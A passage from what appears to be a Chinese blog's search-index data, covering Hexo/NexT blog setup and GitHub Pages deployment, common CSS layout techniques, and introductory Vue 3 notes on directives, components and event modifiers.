修改字段 google_analytics， 值设置成 Google 跟踪 ID。跟踪 ID 通常是以 UA- 开头。\n腾讯分析\n打开主题配置文件 里将 ID 放置 tencent_analytics\nCNZZ 统计\n在主题配置文件中添加cnzz_siteid的配置项，值为 CNZZ 里面添加统计的站点ID\n百度分享\n打开主题配置文件 添加/修改字段 baidushare，值为 true\n搜索服务\n如何设置 阅读全文\n在文章中使用 手动进行截断，Hexo 提供的方式\n打开主题配置文件，添加： auto_excerpt: enable: true length: 150\n部署到Github git config \u0026ndash;global user.name \u0026ldquo;chenjunlinabc\u0026rdquo; git config \u0026ndash;global user.email \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\nssh-keygen -t rsa -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\n检查是否连接上github\nssh -T git@github.com\n设置deploy参数\n打开主题配置文件\ndeploy: type: git repo: git@github.com:chenjunlinabc/chenjunlinabc.github.io.git branch: main\ngithub的分支默认为main\n安装一个插件 npm install hexo-deployer-git \u0026ndash;save\nhexo clean 清理缓存\nhexo g 进行渲染\n部署到git服务器，hexo d\n关于每次hexo d后，GitHub Pages自定义域名都会失效的解决方法\n在source目录下添加一个文件CNAME就好\n该文件放域名\n","permalink":"https://xiaochenabc123.github.io/posts/26/","summary":"hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦\napt install npm\nnpm install hexo-cli -g\nhexo init blog\ncd blog\nnpm install\nhexo server\n使用NexT\napt install git\ngit clone https://github.com/theme-next/hexo-theme-next.git\n把hexo-theme-next文件夹放到hexo根目录的themes文件夹下\n启动主题\n打开hexo目录下的_config.yml文件，这个文件为站点配置文件\n找到theme，修改值为hexo-theme-next\n调试模式\nhexo s \u0026ndash;debug 查看是否输出有错误，方便修改错误信息\n选择主题\n打开主题的根目录的_config.yml文件，这个文件是主题配置文件\n找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#\n设置 语言\n打开站点配置文件，修改language为需要的语言zh-CN\n修改菜单\n打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#\nhome 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404\n修改对应的语言翻译\n主题目录下languages/zh-CN.yml\n设定菜单项的图标，可以使用的是Font Awesome 图标\n设置 侧栏\n打开主题配置文件\n修改sidebar.position的值\nleft - 靠左放置 right - 靠右放置\n设置 头像","title":"简单搭建一个hexo博客"},{"content":"居中布局\n分水平居中和垂直居中，水平+垂直居中\n水平居中：当前元素在父级元素容器中，水平方向是居中显示的\ninline-block+text-algin\n#app{\rtext-align: center;\r// 父元素，文本内容居中对齐\r}\r.child{\rdisplay: inline-block;\r// 子元素，行内块级元素\r}\r优点：浏览器兼容性好（css2）\n缺点：text-align具有继承性，会导致子元素的文本也是居中的\ntable+margin\n.child{\rdisplay: table; // 也可以为block\rmargin: 0 auto;\r// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）\r}\r优点：只需要对子元素设置，就可以实现效果\n缺点：如果子元素脱离正常流，将会导致margin属性的值无效化\nabsolute+transform\n#app{\rposition: relative; // 父元素相对定位\r}\r.child{\rposition: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的\rleft: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）\r}\r优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的\ntable-cell+vertical-algin\n#app{\r// 父元素\rdisplay: table-cell;\rvertical-align: middle; // 设置文本的垂直方向对齐方式\r}\r优点：浏览器兼容性好\n缺点：vertical-align属性具有继承性\nabsolute+transform\n#app{\rposition: relative;\r}\r.child{\rposition: absolute;\rtop: 50%;\rtransform: translateY(-50%);\r}\r优点：父元素是否脱离正常流，也是不影响子元素的垂直居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n水平垂直居中：水平方向居中，也要垂直方向居中\ntable+margin（水平），table-cell+vertical-algin（垂直）\nabsolute+transform\n#app{\rposition: relative;\r}\r.child{\rposition: absolute;\rtop: 50%;\rleft: 50%;\rtransform: translate(-50%,-50%);\r}\r多列布局（两列布局+三列布局+CSS3 多列布局）\n两列布局：其中有一列是确定宽度，而另外一列则是自动填满（指定宽于自适应）\nfloat+margin\n.left{\rwidth: 100px;\rfloat: left;\r}\r.right{\rmargin-left: 100px;\r}\r优点：简单\n缺点：自适应元素的margin属性值要和定宽元素的width属性值保持一致\n或者给定宽元素position: relative，自适应元素给float: right和width: 100%,margin-left: -100px\nfloat+overflow\n.left{\rwidth: 100px;\rfloat: left;\r}\r.right{\roverflow: hidden;\r}\r优点：简单\n缺点：overflow属性会导致内容溢出（BFC）\ndisplay：table\n#app{\rdisplay: table;\rtable-layout: fixed;\r}\r.left{\rwidth: 100px;\r}\r.left,.right{\rdisplay: table-cell;\r}\r优点：浏览器兼容性好\n缺点：父元素的display属性设置为table，会受到制约\n三列布局：三列，有两列是确定宽度，另外一列自动填满（指定宽于自适应），一般中间那一列是内容区\n效果实现和二列一样\n圣杯布局\n头部和底部都占页面100%宽度，高度固定，中间区域是一个三栏布局，三栏布局两侧宽度确定，中间部分自动填充（一般中间那是内容区）\n中间部分一般是三栏中最高的（因为是内容区）\nfloat\n头部和底部填满宽度，三列设置浮动和相对定位，中间部分的放在前面\n三列设置overflow: hidden和padding-left（值为left的宽度），padding-right（值为right的宽度）\nleft栏设置margin-left: -100%,就返回到左侧了，然后left，值为负的left高度\nright栏right，值为负的right高度，margin-left，值为负的right高度\n例如：\n\u0026lt;style\u0026gt;\rheader{\rmax-width: 100%;\rheight: 100px;\rbackground-color: aqua;\rtext-align: center;\r}\rfooter{\rmax-width: 100%;\rheight: 100px;\rbackground-color: aquamarine;\rtext-align: center;\r}\rmain{\roverflow: hidden; padding-left: 20%;\rpadding-right: 20%;\r}\rmain div{\rfloat: left;\rposition: relative;\rtext-align: center;\r}\r.center{\rwidth: 100%;\rheight: 600px;\rbackground-color: blue;\r}\r.left{\rheight: 300px;\rwidth: 100px;\rbackground-color: azure;\rmargin-left: -100%;\rleft: -100px;\r}\r.right{\rheight: 300px;\rwidth: 100px;\rbackground-color: bisque;\rright: -100px;\rmargin-left: -100px;\r}\r\u0026lt;/style\u0026gt;\r\u0026lt;header\u0026gt;\r头部\r\u0026lt;/header\u0026gt;\r\u0026lt;main\u0026gt;\r\u0026lt;div class=\u0026quot;center\u0026quot;\u0026gt;\r中间\r\u0026lt;/div\u0026gt;\r\u0026lt;div class=\u0026quot;left\u0026quot;\u0026gt;\r左\r\u0026lt;/div\u0026gt;\r\u0026lt;div class=\u0026quot;right\u0026quot;\u0026gt;\r右\r\u0026lt;/div\u0026gt;\r\u0026lt;/main\u0026gt;\r\u0026lt;footer\u0026gt;\r底部\r\u0026lt;/footer\u0026gt;\rflex\n用flex弹性盒子比较简单一点，只需要给三列设置flex，按照左中右排列，中间部分设置flex: 1;\n优点：简单，不需要设置dom\n缺点：（flex）浏览器兼容性比较差\n双飞翼布局\n双飞翼布局和圣杯布局效果和要求类似，侧边宽度确定，中间自适应，不同的是，圣杯布局是在父元素设置内边距，两侧通过定位和浮动来插入到中间，而双飞翼布局是直接设置一个dom来放置三列\n三列设置左浮动，中间设置宽度为100%，left设置外边距为负100%，right设置外边距为其本身宽度，中间设置外边距为两侧腾出位置，值为left和right的宽度\n例如：\n\u0026lt;style\u0026gt;\rheader{\rmax-width: 100%;\rheight: 100px;\rbackground-color: aqua;\rtext-align: center;\r}\rfooter{\rmax-width: 100%;\rheight: 100px;\rbackground-color: aquamarine;\rtext-align: center;\r}\rmain{\rtext-align: center;\roverflow: hidden;\r}\r.center{\rwidth: 100%;\rheight: 600px;\rbackground-color: blue;\rfloat: left;\r}\r.center div{\rmargin: 0 100px 0 100px;\r}\r.left{\rheight: 300px;\rwidth: 100px;\rbackground-color: azure;\rfloat: left;\rmargin-left: -100%;\r}\r.right{\rheight: 300px;\rwidth: 100px;\rbackground-color: bisque;\rfloat: left;\rmargin-left: -100px;\r}\r\u0026lt;/style\u0026gt;\r\u0026lt;header\u0026gt;\r头部\r\u0026lt;/header\u0026gt;\r\u0026lt;main\u0026gt;\r\u0026lt;div class=\u0026quot;center\u0026quot;\u0026gt;\r\u0026lt;div\u0026gt;\r中间\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;div class=\u0026quot;left\u0026quot;\u0026gt;\r左\r\u0026lt;/div\u0026gt;\r\u0026lt;div class=\u0026quot;right\u0026quot;\u0026gt;\r右\r\u0026lt;/div\u0026gt;\r\u0026lt;/main\u0026gt;\r\u0026lt;footer\u0026gt;\r底部\r\u0026lt;/footer\u0026gt;\r其他布局\n等分布局：子元素平均分配父元素的宽度\n等高布局：子元素在父元素中高度相等\n全屏布局：一般是一个顶部，一个底部，中间是两栏（一个侧边栏，一个主栏）\n侧边栏一般为确定宽度的，主栏为自适应，顶部和底部是占页面100%宽度，一般会设置外边距来分开\n吕形布局：就是页面分为两个容器，一般第一个容器是导航栏，第二个容器是内容区，常见于移动端布局\n九宫格布局\n","permalink":"https://xiaochenabc123.github.io/posts/24/","summary":"居中布局\n分水平居中和垂直居中，水平+垂直居中\n水平居中：当前元素在父级元素容器中，水平方向是居中显示的\ninline-block+text-algin\n#app{\rtext-align: center;\r// 父元素，文本内容居中对齐\r}\r.child{\rdisplay: inline-block;\r// 子元素，行内块级元素\r}\r优点：浏览器兼容性好（css2）\n缺点：text-align具有继承性，会导致子元素的文本也是居中的\ntable+margin\n.child{\rdisplay: table; // 也可以为block\rmargin: 0 auto;\r// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）\r}\r优点：只需要对子元素设置，就可以实现效果\n缺点：如果子元素脱离正常流，将会导致margin属性的值无效化\nabsolute+transform\n#app{\rposition: relative; // 父元素相对定位\r}\r.child{\rposition: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的\rleft: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）\r}\r优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的\ntable-cell+vertical-algin\n#app{\r// 父元素\rdisplay: table-cell;\rvertical-align: middle; // 设置文本的垂直方向对齐方式\r}\r优点：浏览器兼容性好\n缺点：vertical-align属性具有继承性\nabsolute+transform","title":"css常见布局"},{"content":"vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3\nvue全家桶：Vue+VueRouter+Vuex\nvue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视\n导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用\nhttps://unpkg.com/vue@next\ncjs版本：完整版，包含编译器\nprod.js都是开发版，代码进行了压缩\nglobal版本：可以直接通过scripts标签导入，会建立一个全局Vue对象\nbrowser版本：包含esm,浏览器模块\nbundler版本：该版本不是完整版，min\nvuejs模板支持所有JavaScript表达式\nvuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{\u0026hellip;}}，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;p\u0026gt;{{ hallovuejs }}\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rhallovuejs: \u0026quot;hallo vuejs!\u0026quot;\r}\r}\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rvue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;a v-bind:href=\u0026quot;url\u0026quot;\u0026gt;{{ main }}\u0026lt;/a\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rurl:\u0026quot;https://xiaochenabc123.test.com\u0026quot;,\rmain: \u0026quot;小陈的辣鸡屋\u0026quot;\r}\r}\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\r这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图\n而vue还提供了可以绑定事件的v-on属性，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;button v-on:click=\u0026quot;go\u0026quot;\u0026gt;{{ main }}\u0026lt;/button\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rmain: \u0026quot;hallo\u0026quot;\r}\r},\rmethods: {\rgo: function(){\rconsole.log(\u0026quot;hallo vuejs\u0026quot;);\r}\r},\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rv-on可以绑定多个事件，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;button @click=\u0026quot;goclick\u0026quot;@dblclick=\u0026quot;yesclick\u0026quot;\u0026gt;{{ main }}\u0026lt;/button\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rmain: \u0026quot;hallo\u0026quot;\r}\r},\rmethods: {\rgoclick:function(event){\rconsole.log(\u0026quot;hallo vuejs\u0026quot;)\rconsole.log(event.target) // event.target可以获取到触发该事件的dom元素\r},\ryesclick:function(){\rconsole.log(\u0026quot;hallo word\u0026quot;)\r}\r},\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rv-model可以进行数据的双向绑定，不但可以赋予元素中的数据，也可以获取元素中的数据，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;input v-model=\u0026quot;main\u0026quot;\u0026gt;{{ main }}\u0026lt;/input\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rmain: \u0026quot;hallo\u0026quot;\r}\r},\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rv-show可以根据表达式的值来判断是否显示，方法和v-if一样，但是隐藏的方法是加上了display: none;，v-show不支持template和v-else，如果没有频繁切换的需求可选择v-if，频繁切换会重新渲染情况严重，而且v-show只是修改css属性而已\nv-if可以进行条件判断，会根据表达式的值来判断，例如\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;span v-if=\u0026quot;yes_no\u0026quot;\u0026gt;{{ main }}\u0026lt;/span\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\ryes_no: true,\rmain: \u0026quot;hallo\u0026quot;\r}\r},\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\r当值为false时，该元素就会被隐藏\nv-else 该指令必须跟着v-if或者v-else-if指令的元素的后面，否则不会被识别，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;span v-if=\u0026quot;yes_no\u0026quot;\u0026gt;{{ main }}\u0026lt;/span\u0026gt;\r\u0026lt;span v-else\u0026gt;这是v-if判断为假时渲染，v-if判断为真时不渲染\u0026lt;/span\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\ryes_no: false,\rmain: \u0026quot;hallo\u0026quot;\r}\r},\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rv-else-if，必须前面的元素中有v-if或者v-else-if指令，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;span v-if=\u0026quot;yes_no == 'yes'\u0026quot;\u0026gt;yes_no == yes\u0026lt;/span\u0026gt;\r\u0026lt;span v-else-if=\u0026quot;yes_no == 'no'\u0026quot;\u0026gt;yes_no == no\u0026lt;/span\u0026gt;\r\u0026lt;span v-else\u0026gt;yes_no != no||yes\u0026lt;/span\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\ryes_no: \u0026quot;yes\u0026quot;,\ryes: \u0026quot;yes\u0026quot;,\rno: \u0026quot;no\u0026quot;,\rmain: \u0026quot;hallo\u0026quot;\r}\r},\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rv-for可以多次渲染元素，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;ul\u0026gt;\r\u0026lt;li v-for=\u0026quot;a in arr\u0026quot;\u0026gt;\r{{a}}\r\u0026lt;/li\u0026gt;\r\u0026lt;/ul\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rarr:[\r\u0026quot;hallo\u0026quot;,\r\u0026quot;abc\u0026quot;,\r\u0026quot;xyz\u0026quot;,\r\u0026quot;yes\u0026quot;,\r\u0026quot;no\u0026quot;\r]\r}\r}\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\r注意：当v-for和v-if出现在同级时，v-for优先级比v-if高，因此不要在v-for下，使用v-if过滤，应该在v-if下使用v-for，v-if应该使用\u0026lt;template\u0026gt;（\u0026lt;template\u0026gt;不会创建dom元素）\nv-html可以插入html\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;span v-html=\u0026quot;main\u0026quot;\u0026gt;\u0026lt;/span\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rmain: \u0026quot;\u0026lt;p\u0026gt;hallo word\u0026lt;/p\u0026gt;\u0026quot;\r}\r},\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rv-once表示该元素或者组件只渲染一次，后面不会因为数据的改变而重新渲染\n动态参数的实现\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;/div\u0026gt;\rconst hallo = {\rdata() {\rreturn {\rmain: \u0026quot;hallo\u0026quot;,\rabc: \u0026quot;classa\u0026quot;\r}\r},\rtemplate: `\u0026lt;h1 :[abc] = \u0026quot;main\u0026quot;\u0026gt;hallo word\u0026lt;/h1\u0026gt;`\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\rvuejs提供了一个叫组件的概念，将重复的程序进行封装，用这些被封装的组件来构建大型应用，可以理解为积木\n根组件：挂载应用时，该组件被认为是渲染的起点\n如果想挂载一个应用到id为app的dom元素中，那么就需要挂载#app，通过一个vue实例，调用其component()方法，创建一个组件\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;hallo v-for=\u0026quot;item in groceryList\u0026quot; v-bind:todo=\u0026quot;item\u0026quot; v-bind:key=\u0026quot;item.id\u0026quot;\u0026gt;\u0026lt;/hallo\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst main ={\rdata(){\rreturn{\rgroceryList: [\r{id:0,text:\u0026quot;abc\u0026quot;},\r{id:1,text:\u0026quot;xyz\u0026quot;},\r{id:2,text:\u0026quot;hallo\u0026quot;}\r]\r}\r}\r} const app = Vue.createApp(main)\rapp.component(\u0026quot;hallo\u0026quot;,{\rprops: [\u0026quot;todo\u0026quot;],\rtemplate: `\u0026lt;h1\u0026gt;{{todo.text}}\u0026lt;h1\u0026gt;`\r})\rapp.mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\r上面简单说明了一下组件的概念,下面详细说明一下组件和组件实例\n页面是这些组件的容器，因此，组件在页面中表达出来的是原生html\n模板（template）：模板定义了数据和html dom的绑定关系\n初始数据（data）：组件的初始数据，组件具有作用域，因此是处于封装私有状态的\n接收的外部参数（props）：组件之间通过该参数进行数据的传递和分享(单向，只能从父组件中获取，不能进行修改,父传子)\n方法（methods）：对数据的改动一般都在组件的方法内进行操作，通过v-on指令把输入事件和组件方法进行绑定\n生命周期钩子（lifecycle hooks）：每个实例都会触发多个生命周期钩子，从创建到废弃的过程就是生命周期，可以在不同时候进行逻辑处理，另外还有组件生命周期\n组件：一种对数据和方法的封装\nmount()返回的是组件实例\n组件实例：组件继承于组件，通过createApp()建立组件实例\n当需要进行数据计算处理时，例如将两个数据合并，如果通过正常的表达式来表示，那么一旦数据处理复杂了，程序会显得很繁杂，vuejs中提供了一个叫计算属性的东西，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r{{hallo}}\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rVue.createApp({\rdata() {\rreturn {\ryes:{\rmain: \u0026quot;abc\u0026quot;\r}\r}\r},\rcomputed: {\rhallo() {\rreturn \u0026quot;hallo\u0026quot;+\u0026quot; \u0026quot;+this.yes.main\r}\r}\r}).mount('#app')\r\u0026lt;/script\u0026gt;\r样式绑定\n\u0026lt;style\u0026gt;\r.abc{\rwidth: 100px;\rheight: 100px;\rbackground-color: #ccc;\r}\r\u0026lt;/style\u0026gt;\r\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst app = Vue.createApp({\rdata() {\rreturn {\rclassdata: \u0026quot;abc\u0026quot;\r}\r},\rtemplate: `\r\u0026lt;div :class = \u0026quot;classdata\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt;\r`\r})\rapp.mount('#app')\r\u0026lt;/script\u0026gt;\r组件是可重复使用的实例，例如：\n\u0026lt;div class=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;test\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;test\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;/div\u0026gt;\rconst app = Vue.createApp({})\rapp.component(\u0026quot;test\u0026quot;,{\rdata() {\rreturn {\rabc: \u0026quot;hallo\u0026quot;\r}\r},\rtemplate: `\r\u0026lt;div\u0026gt;\r{{abc}} word\r\u0026lt;/div\u0026gt;`\r})\rapp.mount(\u0026quot;#app\u0026quot;)\r全局组件\n一般来说组件的数据是独享的，只有全局组件才能进行数据访问，例如：\nconst app = Vue.createApp({\rtemplate: `\r\u0026lt;div\u0026gt;\r\u0026lt;test\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;abc\u0026gt;\u0026lt;abc\u0026gt;\r\u0026lt;/div\u0026gt;\r`\r// 父组件\r})\rapp.component(\u0026quot;test\u0026quot;,{\rtemplate: `\u0026lt;abc\u0026gt;\u0026lt;abc\u0026gt;`\r// 全局组件\r})\rapp.component(\u0026quot;abc\u0026quot;,{\rdata() {\rreturn {\rtext: \u0026quot;hallo word\u0026quot;\r}\r},\rtemplate: ` \u0026lt;div\u0026gt;{{text}}\u0026lt;/div\u0026gt; ` // 全局组件\r})\rapp.mount('#app')\rabc组件分享了数据给test组件\n局部组件\n\u0026lt;test\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;Test_datea\u0026gt;\u0026lt;/Test_datea\u0026gt;\rconst Test_date ={\rtemplate: \u0026quot;\u0026lt;p\u0026gt;hallo word\u0026lt;/p\u0026gt;\u0026quot;\r// 局部组件\r}\rconst Test_datea ={\rtemplate: \u0026quot;\u0026lt;p\u0026gt;hallo hhh\u0026lt;/p\u0026gt;\u0026quot;\r// 局部组件\r}\rconst app = Vue.createApp({\rcomponents: {\r\u0026quot;test\u0026quot; :Test_date\rTest_datea\r}\r}).mount('#app')\r其中test为组件名，指向了Test_date局部组件，\n父子组件之间传递数据\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;test :name=\u0026quot;text\u0026quot;\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst app = Vue.createApp({\rdata() {\rreturn {\rtext: \u0026quot;hallo\u0026quot;,\r}\r}\r})\rapp.component(\u0026quot;test\u0026quot;,{\rprops: [\u0026quot;name\u0026quot;],\rtemplate: `\u0026lt;p\u0026gt;{{name}}\u0026lt;/p\u0026gt;`\r})\rapp.mount('#app')\r\u0026lt;/script\u0026gt;\r静态传值只能传字符串类型，如果要传其他数据类型或者想动态传递数据，可以使用v-bind\n通过循环来输出一组数据\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;test v-for=\u0026quot;data in datas\u0026quot; :key=\u0026quot;data.id\u0026quot; :href=\u0026quot;data.url\u0026quot; :text=\u0026quot;data.text\u0026quot;\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst app = Vue.createApp({\rdata() {\rreturn {\rdatas: [\r{id: 1, url: \u0026quot;https://xiaochenabc123.test.com\u0026quot;, text: \u0026quot;hallo\u0026quot;},\r{id: 2, url: \u0026quot;https://test.xiaochenabc123.test.com\u0026quot;, text: \u0026quot;abcxyz\u0026quot;}\r]\r}\r}\r})\rapp.component(\u0026quot;test\u0026quot;,{\rprops: [\u0026quot;text\u0026quot;],\rtemplate: `\u0026lt;a\u0026gt;\u0026lt;p\u0026gt;{{text}}\u0026lt;/p\u0026gt;\u0026lt;/a\u0026gt;`\r})\rapp.mount('#app')\r\u0026lt;/script\u0026gt;\r传值校验\nprops中的值进行验证，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;test text=\u0026quot;123\u0026quot; url=\u0026quot;https://xiaochenabc123.test.com\u0026quot; main=\u0026quot;yes\u0026quot; ifmain=11\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst app = Vue.createApp({})\rapp.component(\u0026quot;test\u0026quot;,{\rprops: {\rtext: String, // 基本类型验证 null和undefined会通过任何类型验证，如果不是这个类型，将返回警告\rurl: [Number,String], // 多个类型验证，当数据不是这的类型\rmain: {\rtype: String, // 类型String，必填，如果设置没有该值\rrequired: true\r},\rhallo: {\rtype: String, // 类型String，带默认值default\rdefault: \u0026quot;hallo vuejs\u0026quot;\r},\robj: {\rtype: Object, // 类型Object，带默认值函数\rdefault: function(){\rreturn{\rtext: \u0026quot;abc\u0026quot;\r}\r}\r},\rifmain: { validator: function(value){\rreturn(value\u0026gt;10) // 验证函数\r}\r}\r},\rtemplate: `\r\u0026lt;p\u0026gt;{{text}}\u0026lt;/p\u0026gt;\r\u0026lt;p\u0026gt;{{url}}\u0026lt;/p\u0026gt;\r\u0026lt;p\u0026gt;{{main}}\u0026lt;/p\u0026gt;\r\u0026lt;p\u0026gt;{{hallo}}\u0026lt;/p\u0026gt;\r\u0026lt;p\u0026gt;{{obj}}\u0026lt;/p\u0026gt;\r\u0026lt;p\u0026gt;{{ifmain}}\u0026lt;/p\u0026gt;\r`\r})\rapp.mount('#app')\r\u0026lt;/script\u0026gt;\rvuejs事件修饰符\n.stop：阻止冒泡事件的发生，只触发自身的事件，一个子元素定义了事件，但是它的父元素也定义了一个事件，而且这两个事件的触发机制还是一样的，那么就会导致这两个事件都触发，而想避免发生就需要在目标元素上的事件加上.stop，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot; @click = \u0026quot;divclick\u0026quot;\u0026gt;\r\u0026lt;input type=\u0026quot;button\u0026quot; value=\u0026quot;GO\u0026quot; @click.stop = \u0026quot;inputclick\u0026quot;\u0026gt;\r\u0026lt;/div\u0026gt;\r.prevent：拦截默认事件的发生，有一些标记拥有自身的默认事件，例如a标记，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; @click.prevent = \u0026quot;alinkclick\u0026quot;\u0026gt;{{data}}\u0026lt;/a\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata(){\rreturn{\rdata: \u0026quot;GO\u0026quot;\r}\r},\rmethods: {\ralinkclick: function(){\rconsole.log(\u0026quot;hallo\u0026quot;)\r},\r},\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\r这里阻止了a标记的默认事件\n.capture：捕获事件，当发生冒泡事件时，先触发带有该修饰符的，如果有多个，则从父元素到子元素触发\n触发机制：优先触发带有.capture的，然后再按照从内往外的冒泡\n.self：只有当事件在该元素上时才触发，冒泡和捕获都无法让其触发事件，只要当事件发生在该元素本身才会触发\n.once：指定该绑定的事件只会触发一次\n.stop和.self的区别：.stop会阻止全部冒泡事件，而.self只阻止自身的冒泡\n.passive：每一次发生事件，浏览器都去查询有没有preventDefault来阻止该事件的默认行为，.passive就是来声明，没有使用preventDefault来阻止该事件的默认行为，因为其是告诉没有使用阻止事件的默认行为，所有passive是和prevent冲突，不能一起使用，否则.prevent会被忽略\n因为在移动端，一般都是监听滚动事件比较多，而每移动一次都会触发一次事件，会进行查询有没有使用prevent，可能会导致滑动卡顿，使用passive能有效提升移动端的性能和流畅度\n生命周期钩子函数会在某一些特定的时刻自动触发，方便在该时刻完成一些工作\nvue实例生命周期\nvue实例的创建，运行，到销毁期间，会触发一些叫生命周期钩子的函数，可以通过该来监听数据变化\n按照生命周期排序：\nbeforeCreate：实例